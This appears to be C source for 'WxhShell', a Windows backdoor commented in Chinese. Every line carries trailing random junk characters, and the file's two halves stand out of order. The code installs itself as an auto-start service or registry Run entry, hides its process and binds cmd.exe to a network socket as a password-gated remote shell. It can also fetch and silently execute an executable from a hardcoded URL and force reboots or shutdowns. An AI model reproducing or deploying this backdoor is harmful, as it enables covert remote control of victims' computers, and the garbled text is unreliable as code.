    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pC.T)k  
    if(Boot(SHUTDOWN)) m-FDCiN>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RvZ-w$E&?  
    else { T[=cKYp8\  
    closesocket(wsh); Qi]Z)v{^  
    ExitThread(0); w=>mG-  
    } +rO<'H:umJ  
    break; 4'[ V'c\  
    } P&`r87J  
  // 获取shell l%5%oN`4  
  case 's': { Ca"+t lO  
    CmdShell(wsh); S&) >w5*]U  
    closesocket(wsh); O!+5As  
    ExitThread(0); * CGdfdxW  
    break; &_hCs![  
  } =9@yJ9c-  
  // 退出 '*Mb .s"  
  case 'x': { mnaD KeA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ga9:*G!b{)  
    CloseIt(wsh); =0yJ2[R7Do  
    break; &/FwV'  
    } xyWdzc] (p  
  // 离开 . TS=[WGMS  
  case 'q': { :Rx"WY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); la7QN QW  
    closesocket(wsh); ]lYEJ`  
    WSACleanup(); sBI%lrO  
    exit(1); !T(Omve)  
    break; YEoT_>A$dB  
        } V *y  
  } 2,nCGSfc  
  } d+ko"F|  
[mvHa;-w  
  // 提示信息 {S(T1ua  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $s!meg@s  
} 7V``f:#d  
  } FQ1oqqr  
*lF%8k"Al  
  return; 3(p6ak2lv  
} [ [CXMbD`*  
M 7$4KFNp  
// shell模块句柄 !jnIXvT1qy  
int CmdShell(SOCKET sock) PdBhX  
{ L4Y3\4xXO  
STARTUPINFO si; dV  
ZeroMemory(&si,sizeof(si)); hkI);M+@6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QLg9aG|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xe+FMbBco  
PROCESS_INFORMATION ProcessInfo; >iJuR.:OO  
char cmdline[]="cmd"; i_ TdI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [i#Gqx>'w  
  return 0; }"k(kH  
} HNT8~s.2  
e/\_F+jyc  
// 自身启动模式 r0bPaAKw  
int StartFromService(void) T bWZw  
{ a[l5k  
typedef struct mj|9x1U)  
{ [ Ulo; #P  
  DWORD ExitStatus; X+@,vCC  
  DWORD PebBaseAddress; ^`?> Huu<w  
  DWORD AffinityMask; HE'8  
  DWORD BasePriority; y@JYkp>I  
  ULONG UniqueProcessId; XjU;oh4:.  
  ULONG InheritedFromUniqueProcessId; @'4D9A  
}   PROCESS_BASIC_INFORMATION; r!iuwE@  
h!GixN?  
PROCNTQSIP NtQueryInformationProcess; ~C x2Q4E  
Tyl"N{ _  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KVy5/A/8c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l/NK.Jr  
XS/TYdXB8  
  HANDLE             hProcess; s$6#3%h  
  PROCESS_BASIC_INFORMATION pbi; |_m;@.44?U  
Ka{Zoi]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5Oq;V: 7  
  if(NULL == hInst ) return 0; Vrh],xK7  
MEUqQ4/Gl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Hm*#HT%#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;d40:q<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ro@BmRMW  
{NDP}UATw  
  if (!NtQueryInformationProcess) return 0; $@wkQ%  
fh<G& E8 p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bnQO}G  
  if(!hProcess) return 0; .5xg;Qg\Y  
*JXJ 2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JY16|ia  
`_`,XkpzCJ  
  CloseHandle(hProcess); .`].\Zykf  
s'I$yJ)@2E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tEs$+b  
if(hProcess==NULL) return 0; ZeZwzH)BD  
=T]OYk  
HMODULE hMod; ")OLmkC  
char procName[255]; ? |dz"=y  
unsigned long cbNeeded; bHnQLJ  
V  ""  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )`^:G3w  
h@d m:=ul  
  CloseHandle(hProcess); = xk@Q7$  
5WYU&8+]{:  
if(strstr(procName,"services")) return 1; // 以服务启动 DM95Il[/  
uX[ "w|  
  return 0; // 注册表启动 Q<pM tW  
} k~ue^^r}  
%?jf.p*kY  
// 主模块 kz^G.5n   
int StartWxhshell(LPSTR lpCmdLine) rge/jE,^~Z  
{ %*nZ,r  
  SOCKET wsl; ?da3Azp  
BOOL val=TRUE; IpxjP\  
  int port=0; kZNZ?A<D  
  struct sockaddr_in door; b&1@rE-  
S)%x22sqf  
  if(wscfg.ws_autoins) Install(); t/g}cR^Q  
P'8 E8_M}  
port=atoi(lpCmdLine); Apn#o2  
k|5nu-B0v  
if(port<=0) port=wscfg.ws_port; :*1w;>o)n  
R7i*f/m  
  WSADATA data; A-FwNo2"%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0"N %Vm  
w6_}] &F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L;[*F-+jD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qp ,l>k  
  door.sin_family = AF_INET; TfPx   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MR}\fw$(.  
  door.sin_port = htons(port); |=POV]K  
x3Uv&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :-)[B^0  
closesocket(wsl); EIRf6jL  
return 1; d9(FwmE  
} zBbTj IFQ  
?*4zNhL  
  if(listen(wsl,2) == INVALID_SOCKET) { "^H+A-R[  
closesocket(wsl); zjmc>++<t  
return 1; xcig'4L  
} v6:DA#0  
  Wxhshell(wsl); u#\3T>o%@  
  WSACleanup(); $$@Tgkg?o  
? &O$ayG77  
return 0; |}; ~YMH  
5h1j.t!  
} Gm. hBNgp  
(`xc3-,  
// 以NT服务方式启动 qU}DOL|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CS/-:>s%  
{ =%L^!//c  
DWORD   status = 0; d,77L  
  DWORD   specificError = 0xfffffff; O,cx9N  
($wYaw z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;IT^SHym  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #d~"bn q;c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X$* 'D)  
  serviceStatus.dwWin32ExitCode     = 0; }/VHeHd  
  serviceStatus.dwServiceSpecificExitCode = 0; v09f#t$;5  
  serviceStatus.dwCheckPoint       = 0; KJd;c.  
  serviceStatus.dwWaitHint       = 0; ZLkJYZk  
j{g{`Qa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fh~&&f}6  
  if (hServiceStatusHandle==0) return; md0=6< }P  
 VV  
status = GetLastError(); 1 f=L8Dr  
  if (status!=NO_ERROR) }=U\v'%m  
{ <da! #12L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =T$E lXwJ  
    serviceStatus.dwCheckPoint       = 0; g@Zc'g/XB  
    serviceStatus.dwWaitHint       = 0; F,sT[C  
    serviceStatus.dwWin32ExitCode     = status; _W;u Qg']  
    serviceStatus.dwServiceSpecificExitCode = specificError; aqB^  %e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0e7!_ /9  
    return; YblRwic  
  } L!5f*  
PT;$@q8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EY>A(   
  serviceStatus.dwCheckPoint       = 0; '.=Z2O3p  
  serviceStatus.dwWaitHint       = 0; g=pDC+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /Yh8r1^2tZ  
} % Y @3)  
8^{BuUA  
// 处理NT服务事件,比如:启动、停止 H)S3/%.|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gDsZbmR  
{ ^Z*_@A_v  
switch(fdwControl) *=v RX!sI,  
{ bYtF#Y   
case SERVICE_CONTROL_STOP: MiC&av  
  serviceStatus.dwWin32ExitCode = 0; L4NC -  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a-3~HH  
  serviceStatus.dwCheckPoint   = 0; g5 E]o)  
  serviceStatus.dwWaitHint     = 0; cZu:dwE  
  { <fw[7=_)^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ql#K72s  
  } h %nZKhm  
  return; !hq7R]TC+  
case SERVICE_CONTROL_PAUSE: DbcKKgPn(9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qSQjAo4t@  
  break; .JiQq]  
case SERVICE_CONTROL_CONTINUE: #_E8>;)k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~_raI7,  
  break; /eI38>v  
case SERVICE_CONTROL_INTERROGATE: /nrDU*  
  break; alG}Aw#gS  
}; y|p:^41Ro  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qu\E/T`  
} p;@PfhEz)  
; etH)  
// 标准应用程序主函数 O^f@ g l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TC2aD&cw{  
{ 5}m2D='  
8]Pf:_e,+  
// 获取操作系统版本  u(BYRB  
OsIsNt=GetOsVer(); ~7ArH9k .  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xH=&={  
>$?Z&7Lv  
  // 从命令行安装 L+,{*Uj[;  
  if(strpbrk(lpCmdLine,"iI")) Install(); WMg#pLc#  
R+m{nO~r  
  // 下载执行文件 0QGl'u{F  
if(wscfg.ws_downexe) { PXkPC%j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Xbz}pAnj  
  WinExec(wscfg.ws_filenam,SW_HIDE); &L/ C:<.  
} [p <L*3<  
GL/\uq  
if(!OsIsNt) { y|@^0]}%<  
// 如果时win9x,隐藏进程并且设置为注册表启动 H(pOR< `  
HideProc(); 0trFLX  
StartWxhshell(lpCmdLine); ';1 c  
} q%JV"9,  
else nyIb8=f  
  if(StartFromService()) n\ IVpgP  
  // 以服务方式启动 YB 4R8}4  
  StartServiceCtrlDispatcher(DispatchTable); q)P<lKi  
else $/D@=P kc  
  // 普通方式启动 _ pJU~8  
  StartWxhshell(lpCmdLine); qYpHH!!C=  
x[vX|oE!A  
return 0; ^)SvH  
} GJ*AyYG  
'C[gcp  
rGN-jb)T+  
Jjy}m0)#W_  
=========================================== ^=tyf&"  
6sPd")%G  
@<};Bo'  
[iDa6mcth  
|sI^_RdBv  
)N}xKw|  
" PKwx)! Rz  
Kkd7D_bZ*  
#include <stdio.h> c`iSe$eS  
#include <string.h> .D7\Hao  
#include <windows.h> I($u L@$  
#include <winsock2.h> lFB Ka ,6  
#include <winsvc.h> Qc3 !FW<26  
#include <urlmon.h> uZqo"  
d>(dSKx  
#pragma comment (lib, "Ws2_32.lib") eo@:@O+bm  
#pragma comment (lib, "urlmon.lib") IlaH,J7n  
^ML2xh  
#define MAX_USER   100 // 最大客户端连接数 0^.q5#A2  
#define BUF_SOCK   200 // sock buffer g]3-:&F{c  
#define KEY_BUFF   255 // 输入 buffer :cOwTW?Fj  
H(0d(c1s  
#define REBOOT     0   // 重启 Vbwbc5m}  
#define SHUTDOWN   1   // 关机 M HgS5b2  
>`6^1j(3  
#define DEF_PORT   5000 // 监听端口 g'mkhF(  
lRO4- y  
#define REG_LEN     16   // 注册表键长度 YKk%lZ.8  
#define SVC_LEN     80   // NT服务名长度 ln3.TR*  
M]6=Rxq1:E  
// 从dll定义API $H_4Y-xOi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1XSqgr"3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |C5i3?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Uqkh@-6-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BG'gk#J+f  
<H$CCo  
// wxhshell配置信息 ']qC,;2  
struct WSCFG { vK6bpzI 3  
  int ws_port;         // 监听端口 OnG!5b  
  char ws_passstr[REG_LEN]; // 口令 ag] nVE/  
  int ws_autoins;       // 安装标记, 1=yes 0=no  R z[-  
  char ws_regname[REG_LEN]; // 注册表键名 ~M <4HC  
  char ws_svcname[REG_LEN]; // 服务名 zis-}K<   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !Dz:6r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;aD_^XY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0m?ul%=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no & ??)gMM[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t[#`%$% '  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PZ"xW0"-  
%.Mtn%:I *  
}; 0ai4%=d-  
&jj\-;=~Ho  
// default Wxhshell configuration S;CT:kG6Y{  
struct WSCFG wscfg={DEF_PORT, ,,@_r&f:  
    "xuhuanlingzhe", +|o -lb  
    1, ysL8w"t  
    "Wxhshell", hzPpw.  
    "Wxhshell", hR. EZ|.  
            "WxhShell Service", PUa~Apj '  
    "Wrsky Windows CmdShell Service", |=7%Edkd  
    "Please Input Your Password: ", #'"h+[XY  
  1, 4h(aTbHaQ  
  "http://www.wrsky.com/wxhshell.exe", (s}9N   
  "Wxhshell.exe"  *A_  
    }; xNjA>S\]W5  
L*FnFRhU  
// 消息定义模块 d *H-l3N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8o~\L= l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _msDf2e9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !4 6 ^}3  
char *msg_ws_ext="\n\rExit."; :CH'Bt4<  
char *msg_ws_end="\n\rQuit."; 4$_8#w B1&  
char *msg_ws_boot="\n\rReboot..."; 'o5[ :=K  
char *msg_ws_poff="\n\rShutdown..."; u D . 0?*_  
char *msg_ws_down="\n\rSave to "; IMVoNKW-  
^\x PF5  
char *msg_ws_err="\n\rErr!"; C8(sH@  
char *msg_ws_ok="\n\rOK!"; mTcLocx  
y*zZ }>  
char ExeFile[MAX_PATH]; <KJ18/  
int nUser = 0; iPHMyxT+S  
HANDLE handles[MAX_USER]; J_`.w  
int OsIsNt; EQ7cK63  
OxqP:kM  
SERVICE_STATUS       serviceStatus; W}(dhgf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  dedi6Brl  
K_ RrSI&>  
// 函数声明 :Z&ipd!yY  
int Install(void); }De)_E\~  
int Uninstall(void); x %$Z/  
int DownloadFile(char *sURL, SOCKET wsh); s2v\R~T  
int Boot(int flag); ,kLeK{   
void HideProc(void); %zY3,4~  
int GetOsVer(void); ]Q^oc  
int Wxhshell(SOCKET wsl); GTLlQy)'=  
void TalkWithClient(void *cs); Wlt shZo  
int CmdShell(SOCKET sock); ^GL0|G=(1  
int StartFromService(void); X2o5Hc)l<  
int StartWxhshell(LPSTR lpCmdLine); rvOR[T>  
m.lNKIknQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V1(eebi|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NbgP,-  
sYXVSNonm  
// 数据结构和表定义 yQ&;#`!'  
SERVICE_TABLE_ENTRY DispatchTable[] = bEPXNN  
{ lJq %me;4m  
{wscfg.ws_svcname, NTServiceMain}, i++ F&r[  
{NULL, NULL} <Qwi 0$  
}; bv|v9_i  
CVu'uyy  
// 自我安装 @ '<lD*W  
int Install(void) =. OW sFv  
{ *r(iegO$  
  char svExeFile[MAX_PATH]; R|tjvp-[}  
  HKEY key; ;m;wSp  
  strcpy(svExeFile,ExeFile); 'd/A+W  
;r8,Wx@f1C  
// 如果是win9x系统,修改注册表设为自启动 ZVda0lex&  
if(!OsIsNt) { 6`EyzB%.$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ujDAs%6MZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S,J'Z:spf  
  RegCloseKey(key); M~3(4,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MLL2V`vBT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n) `4*d$`  
  RegCloseKey(key); 6s>PZh  
  return 0; Qza[~6  
    } 8B\,*JGY2  
  } 3):7mE(  
} I8?egDkk  
else { (A"oMnjWd  
vW~_+:),e  
// 如果是NT以上系统,安装为系统服务 mb?yG:L=0b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HaLEQ73  
if (schSCManager!=0) #r0A<+t{T  
{ _pk=IHGsB  
  SC_HANDLE schService = CreateService SkN^ytKE  
  ( E6BW&Xp  
  schSCManager, vUj7rDT|  
  wscfg.ws_svcname, !$Mv)c/_u  
  wscfg.ws_svcdisp, R'&^)_  
  SERVICE_ALL_ACCESS, ?ILNp`k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a'Aru^el  
  SERVICE_AUTO_START, ~>)cY{wE_  
  SERVICE_ERROR_NORMAL, nj)M$'  
  svExeFile, k98--kc5  
  NULL, +]UPY5:F  
  NULL, A.y"R)G  
  NULL, v82@']IN  
  NULL, OhIUm4=|$  
  NULL j^:\a\-1  
  ); 3",6 E(  
  if (schService!=0) ISOPKZ#F  
  { %K?~$;Z.  
  CloseServiceHandle(schService); u;y1leG  
  CloseServiceHandle(schSCManager); 9KCnitU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <w08p*?  
  strcat(svExeFile,wscfg.ws_svcname); At.WBa3j%{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CYG'WFvZZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I%p Q2T$;  
  RegCloseKey(key); ?c(f6p?%  
  return 0; G=\rlH]N  
    } =OhhMAn  
  } gM_Z/$  
  CloseServiceHandle(schSCManager); Qb9) 1  
} vzs6YsA  
} SyTcp?H  
r+\it&cW+  
return 1; g5/8u2d  
} "xYMv"X  
33-=Z9|r  
// 自我卸载 >}_c<`:  
int Uninstall(void) :B)w0tVw  
{ <XGOcekG  
  HKEY key; L"#Tas\5  
*$uKg zv3  
if(!OsIsNt) { ^8E/I]-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]+ug:E{7  
  RegDeleteValue(key,wscfg.ws_regname); F;`es%8  
  RegCloseKey(key); )p ,-TtV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hoeOdWI pf  
  RegDeleteValue(key,wscfg.ws_regname); i^="*t\i  
  RegCloseKey(key); , lT8gQ|u  
  return 0; :9]23'Md  
  } IjD: hR@  
} [ *R8XXuL  
} tz._*n83  
else { CuU"s)  
^#XxqVdPk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;I]TM#qGF  
if (schSCManager!=0) Hm1C|Qb  
{ d$b{KyUA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yb414K  
  if (schService!=0) 'j>^L  
  { 90teXxg=|  
  if(DeleteService(schService)!=0) { {/ZB>l@D>8  
  CloseServiceHandle(schService);  m ,qU})  
  CloseServiceHandle(schSCManager); C6Dq7~{B  
  return 0; Hm%[d;Z7  
  } V<nh+Q3<d  
  CloseServiceHandle(schService); UV@<55)K  
  } ?RrJYj1  
  CloseServiceHandle(schSCManager); ?9 2+(s  
} ,T"(97"  
} 3p$ZHH.UP  
Qa(u+  
return 1; }+I 8l'  
} Pbd#Fu;  
{I`B?6K5  
// 从指定url下载文件 V|<qO-#.  
int DownloadFile(char *sURL, SOCKET wsh) ';zLh  
{ ?Q:se  
  HRESULT hr; /vSFQ}W  
char seps[]= "/"; %|r@q  
char *token; D)4p8-=t  
char *file; yu3EPT!~  
char myURL[MAX_PATH]; CK'Cf{S  
char myFILE[MAX_PATH]; Ff%m.A8d,4  
l.fNkLC#  
strcpy(myURL,sURL); +xFtGF)  
  token=strtok(myURL,seps); OjyS ?YY)b  
  while(token!=NULL) 5#q ^lL  
  { |0A n| 18  
    file=token; >p2v"XX  
  token=strtok(NULL,seps); ojtcKw  
  } ?AYI   
k:`^KtBMl  
GetCurrentDirectory(MAX_PATH,myFILE); /8J2,8vZ  
strcat(myFILE, "\\"); SJIJV6}H  
strcat(myFILE, file); $(#o)r>_R  
  send(wsh,myFILE,strlen(myFILE),0); T|ZT&x$z  
send(wsh,"...",3,0); ||9f@9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &!KJrQ  
  if(hr==S_OK) # |w,^tV  
return 0; p^\>{  
else H*;J9{  
return 1; *!'00fv  
SS(jjpe&,  
} 75I* &Wl  
>3 qy'lm  
// 系统电源模块 ;cxYX/fJ  
int Boot(int flag) F#Z]Xq0r  
{ q2&&n6PYW  
  HANDLE hToken; ~'v^__8  
  TOKEN_PRIVILEGES tkp; r(J7&vR}h  
' G) Wy|*  
  if(OsIsNt) { \#G`$JD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L$lo5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  2Np9*[C  
    tkp.PrivilegeCount = 1; 0z.`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x/bO;9E%U4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AUzJ:([V  
if(flag==REBOOT) { q'",70"\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^=.|\ YM  
  return 0; {hZZU8*  
} t~,!a?S7  
else { :,]%W $f=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tul5:}x3  
  return 0; 9bqfZ"6nXY  
} Zff-Hl  
  } 4>$>XL1  
  else { "2Js[uf  
if(flag==REBOOT) { ]+d.X]   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /DZKz"N  
  return 0; kf&id/|  
} ;)c SdA9  
else { ~A>3k2 N/e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >:KPvq!0  
  return 0; dRas9g  
} }[D[ZLv  
} _EjS(.e/=  
/`:5#O  
return 1; O:p~L`o>>  
} AkT_ZU>  
m' z<d  
// win9x进程隐藏模块 +%'0;  
void HideProc(void) g&riio7lx  
{ Z~muQ c?  
*Fp )/Ih  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tGv4 S\  
  if ( hKernel != NULL ) ,i,f1XJ|  
  { /of,4aaK7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X(g<rz1J]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jO!!. w  
    FreeLibrary(hKernel); y4 P mL  
  } j~Rh_\>Q  
6i{W=$ RQ  
return; aHwrFkn  
} Ms^,]Q1{  
3u+~!yz  
// 获取操作系统版本 b`18y cVME  
int GetOsVer(void) N ?0V0B  
{ CO 5?UgA  
  OSVERSIONINFO winfo; 0^:O:X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &ATjDbW*(  
  GetVersionEx(&winfo); $;$_N43  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b .j\=c  
  return 1; *gVRMSrx4  
  else u_zp?Nc  
  return 0; IjJ3CJ<  
} A3M)yWq  
0m51nw~B  
// 客户端句柄模块 a"#5JcR3  
int Wxhshell(SOCKET wsl) j.AAY?L  
{ <7?MutHM-  
  SOCKET wsh; H[!by)H  
  struct sockaddr_in client; m:X;dcq'3  
  DWORD myID; %UgyGQeo  
LxsB.jb-  
  while(nUser<MAX_USER) Ed_A#@V  
{ TpZ)v.w~l7  
  int nSize=sizeof(client); Tx],- U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u=RF6V|  
  if(wsh==INVALID_SOCKET) return 1; =;^2#UxXA&  
#}e)*(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;Fp"]z!Qh+  
if(handles[nUser]==0) '.d el7s  
  closesocket(wsh); au0)yg*V1  
else >qAQNX  
  nUser++; NWv1g{M  
  } :;)K>g,b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); * J~N  
0u -'{6  
  return 0; Jr 9\j3J{  
} 6S<J'9sE  
+<8r?d2  
// 关闭 socket e9N"{kDs6  
void CloseIt(SOCKET wsh) &YqgMC  
{ %3'80u6BCJ  
closesocket(wsh); e"[o2=v;5  
nUser--; }|AUV  
ExitThread(0); %'k^aq FL  
} oy#Qj3M8=  
wGLZzqgq  
// 客户端请求句柄 PL%_V ?z  
void TalkWithClient(void *cs) nuhKM.a{  
{ &kYg >X  
#RZW)Br  
  SOCKET wsh=(SOCKET)cs; V\X.AGc  
  char pwd[SVC_LEN]; G|IO~o0+  
  char cmd[KEY_BUFF]; I:bi8D6  
char chr[1]; vezX/xD?  
int i,j; F|%[s|s  
D{ @x  
  while (nUser < MAX_USER) { f{k2sU*uBE  
b!ot%uZZ  
if(wscfg.ws_passstr) { q\[f$==p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >%'|@75K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y`7BR?l  
  //ZeroMemory(pwd,KEY_BUFF); 4~DFtWbf  
      i=0; hSo\  
  while(i<SVC_LEN) { JEs?Rm1^.  
b":cj:mxL  
  // 设置超时 YM/GSSq  
  fd_set FdRead; Rb|\!  
  struct timeval TimeOut; 1+.(N:) +  
  FD_ZERO(&FdRead); L%U-MOS=  
  FD_SET(wsh,&FdRead); qL UbRp  
  TimeOut.tv_sec=8; =<n+AqJ%  
  TimeOut.tv_usec=0; *siS4RX2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |*i0h`a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GC~Tfrf=r  
qZG "{8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vfcj,1  
  pwd=chr[0]; UIovv%7zZ  
  if(chr[0]==0xd || chr[0]==0xa) { YPFjAQ  
  pwd=0; |SQ5Sb  
  break; v; &-]ka  
  } ixE72bX  
  i++; d%u|) =7  
    } \h,S1KmIBD  
/\_0daUx  
  // 如果是非法用户,关闭 socket oCXBek?\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rRly0H  
} wh[XJ_xY  
^e8~eL+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ` SZ^~O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); : H0+}=  
3?.3Z!H/  
while(1) { ' DCrSa>  
Qpe&_.&RE  
  ZeroMemory(cmd,KEY_BUFF); t' o:aI  
E5/-?(N  
      // 自动支持客户端 telnet标准   59F AhEg  
  j=0; {ajaM'x  
  while(j<KEY_BUFF) { BXnSkT7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0[H'l",~  
  cmd[j]=chr[0]; Ky|dRbK,  
  if(chr[0]==0xa || chr[0]==0xd) { @s b\0}  
  cmd[j]=0; VSL6tQp  
  break; [wj&.I{^s  
  } 5BN!uUkm+  
  j++; ggzg, ~V  
    } hwSn?bkw  
)apqL{u:=  
  // 下载文件 -;Y*;xe  
  if(strstr(cmd,"http://")) { c7[|x%~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C;-9_;&  
  if(DownloadFile(cmd,wsh)) 7D|g|i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h%8[];*DpN  
  else nX7{09  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H3H3UIIT_  
  } soRt<83  
  else { ^dJ/>?1  
K|[[A)tt6  
